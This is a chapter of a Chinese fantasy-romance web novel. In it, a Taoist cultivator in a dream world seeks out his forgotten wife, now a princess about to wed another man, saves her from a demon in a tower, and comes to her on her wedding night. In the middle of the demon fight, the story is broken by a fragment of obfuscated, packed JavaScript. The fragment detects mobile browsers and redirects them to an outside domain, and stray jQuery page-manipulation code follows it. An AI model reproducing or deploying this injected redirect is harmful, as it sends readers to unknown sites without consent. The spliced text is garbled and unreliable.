65. 番外二 纸马驮魂:梦中客
作品:《我偏不当捉妖师》 叮铃叮铃——
铃音恍恍惚惚响起,激荡的回声在寒夜里仿若掀起几圈涟漪。
裴因目不转睛盯着马背上的包袱,一耸一耸的,一时竟入了迷。
叮铃叮铃——
又是一串清脆入耳,裴因忽感汹涌的睡意袭来,他揉揉眼睛,眼前霎时涌进铺天盖地的白。
“裴师弟,裴师弟?”
裴因遮住双眼,只听闻有人在他耳边大喊,聒噪非常。
他缓缓睁开双眸,入目便是一张斗大的脸,正目不转睛盯着他,眼中尚存着七分忧虑。
骤然贴近的大脸吓得裴因慌忙后退一步,他这才看清眼前的男人,约莫二十出头的年岁,一身青衣道袍,额间还有一道青印。
仿若是一瓣青莲落在他的额间,化作胎记。
裴因蹙眉,眼前之景与他而言太过陌生。
或许可以说,他甚至不清楚自己是何人。
他低头扫过全身,同那青印道士一样,也是一身青衣道袍。
倏忽间,脑中忽而闪过一瞬熟悉却陌生的记忆。可那记忆快到好似游鱼,连尾巴也抓不到。
裴因顿感头痛欲裂,捂着额角环顾四周,只见红墙黛瓦,是皇城里的模样。
“这是哪?”他问。
“小师弟,你烧糊涂了?”那青印道士诧异地抚上他的额头,故作夸张地说,“方才收服妖物已耗尽你大把法力,故而染了热疾。今早拜见昭德公主,殿下心善命你告假歇息,你怎的还守在宫门口?”
听完这席话,裴因下眼睑微微跳动,心头没由来地蒙上一种漂泊无依之感。
像是枯败的落叶,寻不到自己的根。
他的记忆一片空白,唯一记得的便是自己有一妻。
唤作温堇禾。
“我······是个道士?”裴因眯了眯眼,试探着问道。
那青印道士像是看痴呆似的盯着裴因看了许久,脸色变了又变,最后吆喝着喊道。
“完了完了,这下真成痴儿了。”
吆喝过后,他拍了拍裴因的肩,摇摇头语重心长道,“你是灵台观的修士,本是来长安参加国祭,顺带协助镇妖司平定长安妖邪。”
裴因听后心中了然,又听到青印道士接着说。
“你还记得我是谁吗?”青印道士斜眼看他,见他一脸茫然之相,便愤慨地捶胸顿足,佯装伤心,“我是你师兄啊,你连师兄我都不记得了?”
这师兄的嗓音叽叽喳喳,像极了一窝雀鸟围在一起啼叫。
裴因皱了下脸,甩开青印师兄的手,捂着刺痛的额角问。
“阿禾呢?”
“什么阿禾?”
师兄陡然住了嘴,奇怪地歪了歪头问。
“吾妻,温堇禾。”
裴因啧了一声,显然万分嫌弃师兄的迟钝。
话音将落,青印师兄脸上倏然爬上慌乱之色,他一把上前捂住裴因的嘴,飞快说道。
“快把这混账话吞回肚子里,今日没见到公主便胡乱攀扯起来了吗,休要让师父听到。”
裴因一怔,方想反驳,便见远处缓缓走来一行舆撵,浩浩荡荡。
那便是当今昭德公主的舆撵。
“真是说曹操曹操就到。”
青印师兄插缝碎嘴,撩开长袍便跪了下去。
须臾间,他抬眼见那傻师弟还直愣愣立在原地,目不转睛盯着公主的舆撵。
他深吸一口气,一把将他拽着跪下。
裴因蓦地被拽倒在地,只觉膝骨钝痛,可他毫无旁的心思,心中眼中只有那一闪而过的,熟悉不过的面容。
方才一阵清风吹拂,无意撩开公主舆撵的纱幔,露出她尖尖的下巴。
虽只有半张脸,可他却认得出来。
那是阿禾,他的发妻。
只是华贵的舆撵一旁还伴着一个人。
那人一袭白衣,满头霜发,谦卑地随着舆撵缓缓而行,却仍觉得孤松鹤立,寒潭映月。
步撵与裴因擦肩而过,他跪伏在地,方才那霜发男人的长靴经行过他眼前。
裴因稍稍抬头,恰与男人目光相接。
淡漠,疏离,却莫名觉得熟悉。
待舆撵远行,裴因与青印师兄方才起身。
他掸掸衣袖,扬头指了指那抹白衣,低声问道。
“那是谁?”
青印师兄扫了一眼,毫不在意地说,“那是当朝驸马,下月便是他们的婚期。”
“很奇怪吧,驸马生来就有一头银发。”说罢眼光一转,凑到裴因耳边小声说,“不过或许就是这副模样才得到公主殿下的青睐吧。”
裴因只觉字字句句尤为刺耳,一口淤血涌上来,堵在喉头,咽也咽不下去。
他作势要追上去,却被青印师兄一臂拦下。
“裴师弟,你干嘛去?还真把梦话当真了?”青印师兄遥遥望向远处快要消失成黑点的舆撵,扯着裴因的耳朵说,“那可是当朝昭德公主,不是你臆想的妻子。快回去做功课吧,师父还要抽查。”
裴因被推搡着回到下院,他端坐于桌前,抬手掐诀,低头看着指尖凝成的金光,脑中仍旧一片茫然。
唯有那张粲然的笑靥挥之不去。
可这张脸并非公主今日冷眼孤傲的模样,而是鲜活的,真实的,仿若就在他的身边。
他定念一想,抬掌起势,转瞬间便来到公主府。
彼时温堇禾正小憩,裴因忽从软榻后出现,小心翼翼走到她身后,轻声唤。
“阿禾?”
温堇禾陡然睁眼,忙起身回首,望向裴因一脸戒备。
她在枕头下摸出一把短刀,对准裴因。
那把刀的刀身珠翠满缀,乍一看不像短刀,倒像是女娘的发簪。
“大胆,何人擅闯公主府?来人——”
话音未落,温堇禾便哽住了。
她清楚地看到了裴因眉间的小痣。
自有记忆以来,每每入梦,她就会梦到眉间有颗红痣的男人。
梦中的他虽总是用炽热的目光注视着她,却从不越矩。
像是认识了很久,每每梦到他的脸,总有种莫名的熟悉与安心感,就像是漂泊的孤舟终究寻到归港。
“你——本宫以前可曾见过你?”温堇禾试探着问。
裴因朝前一步,与她却始终隔着软榻。
“阿禾,我们曾拜过堂的。”
“放肆,本宫的驸马并非是你,你又是从何处冒出来的?竟敢直呼本公主名讳?”
温堇禾握紧短刀,心下却在打鼓。
眼前这人甚是奇怪,可她却没由来地相信他,甚至想要依赖他。
可碍于公主的身份,皇家的威严不许她这样做。
她只能硬着头皮胡乱说些违心之言。
听到驸马一言,裴因霎时急火攻心,一手扣在软榻扶手上,咬牙切齿道。
“他不是,至少眼下还不是。”
“你究竟想做什么?”
“为何不能是我?”
温堇禾怔忡在原地,她缓缓放下手中的刀,只一瞬却又重新举起。
就在此时,殿外忽然传来一阵脚步声,温堇禾霎时间风声鹤唳。
慌乱中她将裴因裹在衾被之后,高高堆起的绸被将他完全遮掩。
收拾完一切,殿外脚步声方近。
原来是椒房殿女婢传话,说是皇后娘娘召见。
温堇禾绷直身子,遮掩着身后,身形略显僵硬。
她摆摆手,说知道了,命侍女退下。
待侍女走后,她忙挪开遮掩的被褥。
可被褥之下,早已空空。
此后的半月,灵台观的方士一直在长安除妖,自是裴因也不例外。
他偶尔在宫中祭祀之时与公主相遇,也仅是遥遥相望。
可奇怪的是,每每穿过人海望向公主,都会与她目光相接。
但只匆匆一眼,她便慌忙避开。
直至这日昭德公主大婚,恰逢宫中遇妖。
那邪祟将公主困于塔中,奈何数十修士也无法将她救出。
裴因毅然只身入塔,待行至塔前,无意间扫了眼门前的匾额,昭昭三个大字跃然其上。
青鸾阁。
他只觉得耳熟,但并没深究。
那邪祟道行颇深,几经搏斗后二人被困在逼仄的塔顶,勉强留出几刻喘息的时间。
裴因把温堇禾护在怀中,借口小臂受伤,暂且在此安全无虞之地等待师兄的救援。
他面不红心不跳扯着谎,只为贪求为数不多的独处时光。
塔顶被妖邪撞得坍塌大半,仅仅留出半丈的空隙供二人遮掩。
妖邪不断在四周啸叫,唯有塔顶一隅落针可闻。
良久,温堇禾稍稍往外侧身,与他拉开半臂的距离,低声说。
“登徒子,不许离本宫太近。”
裴因愣了一瞬,随即笑道,“你还是没变。”
就在此时,妖邪骤然化出千手,朝塔顶袭去。
裴因抬臂虚空画符,在二人周身施下护身咒,随后迎头而上,捏起符咒默念口诀。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16426280|177712||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>金黄咒文顿时化作漫天神佛,将整座塔包围起来。
见妖邪已至强弩之末,裴因抛出巴掌大小的佛龛,将其困于其中,不多时便偃旗息鼓。
眼前之景一幕幕闯入温堇禾的眼底,随之而来的还有如潮水般陌生的记忆。
恍惚间,她看到眼前的妖邪化作毫无生气的木佛,摆在神龛前,仿若无事发生。
记忆如飞絮,她抓不住也留不得。
只匆匆走马观花般,窥见不知何时,遮天蔽日的黑线将裴因淹没。
在某处晦暗的地宫里,火光滔天,有颗清泪重重滴入她的眼中。
眼前此景,却在一瞬后如水滴淹入汪洋倏忽而过。
一股怅然若失之感将她重重围困,情急之下她猛然攥住裴因的衣袖,嗫嚅道。
“裴因——”
裴因一愣,匆忙间朝塔底遥遥一望。
妖邪已除,灵台观的师兄们接连入塔,他自知时间不多,一把揽住她的肩头将她困在怀里,低声道。
“你真的要同他成亲吗?”
“不然呢?”温堇禾并未反抗,只是瓮声瓮气地说。
“那我算什么?明明我们才是夫妻。”
裴因不解,他不明白自己的妻子为何将他忘得一干二净。
他一寸寸抚上她的脖颈,缓缓凑上前去,双唇止不住颤抖,却在距离她唇瓣一指前停了下来。
二人呼吸交缠,过了许久,他无奈地叹了口气,阖上双眸,只轻轻吻了下她的额头。
轻飘飘的吻落下,好似蜻蜓点水,却在温堇禾心头泛起无端涟漪。
她抿唇不语,每每见到他心头便像被人紧攥住一般,无法挣脱几近窒息。
额角的钝痛也在提醒自己忘却了不该忘掉的记忆,可她还是抬眸迎上他的目光,一字一顿说。
“我不记得。”
“我记得就好,阿禾,我很想你。”
鬼使神差地,温堇禾揪扯过裴因的衣领,在他唇边落下一吻。
将将离开之际,裴因紧箍住她的腰,重又裹住她的唇。
二人难舍难分,嘤咛的喘息从齿缝中溢出,仿若两个溺水的人,攀住水面上唯一的浮木。
裴因紧闭双眼,双眼早已盛不住他心底的钝痛。
一滴清泪倏然划过他的脸颊,流进二人的唇间。
咸涩的苦味令温堇禾恍然回神,她猛然推开裴因向后退了一步,面上重新织起淡漠疏离的模样。
“是本宫越矩了。”
裴因手掌骤然一空,他攥了攥拳头,方想开口,灵台观的师兄们便齐齐赶来。
纵是心有不甘,他也只得放手。
就在当晚,公主大婚之仪照常举行。
公主府内灯火通明,喧闹非常,房中却寂静无声。
房中融融烛火微动,映亮整间婚房。
大门这时被缓缓推开,一只长靴迎着月光迈过门槛,而后反手轻关上了门。
那人一步步走到温堇禾身前,透过喜帕一角,温堇禾瞥见那人的皂靴并非婚靴。
她心下一紧,一把掀开喜帕,入目便是裴因那张琢玉般的脸。
“你究竟要做什么?”她呼吸急促,不由得攥紧了手中的喜帕。
裴因撩开长袍蹲下身,目光却一动不动凝望着她。
他握紧温堇禾的双手,字字句句清晰入耳。
“你的丈夫只能是我。”
温堇禾心头一跳,没由来地有些慌。
她用力拨开裴因的手,却被他攥住腕骨,无法挣脱。
无奈之下只能问,“你把他怎么样了?”
裴因眸光微动,扯了扯发僵的嘴角,“事到如今你还在担心他吗?”
得不到回应,他沉默了片刻,终究还是心软,开口道。
“放心,他无事,只是今夜他绝不可能见到你。”
说罢,他起身抚上温堇禾的脸颊,温热的大手掌过她的脖颈,指尖轻轻在她唇下擦过。
烛火噼啪而响,倒映在裴因的眼底,凝成滔天的情欲,愈烧愈旺。
他把额头抵在温堇禾的肩膀上,委声道。
“求公主垂怜······”
恍若隔世般,温堇禾只觉眼前之景再熟悉不过。
或许是在梦中,又或许是前世种种早已镌刻在三生石上。
容不得思索,她张开双臂环抱住了他。
倒下去的那一刻,裴因耳边忽而传来一阵轻柔的声音。
声声不止在呼唤他的名字。
缥缥缈缈,一如初见时那般。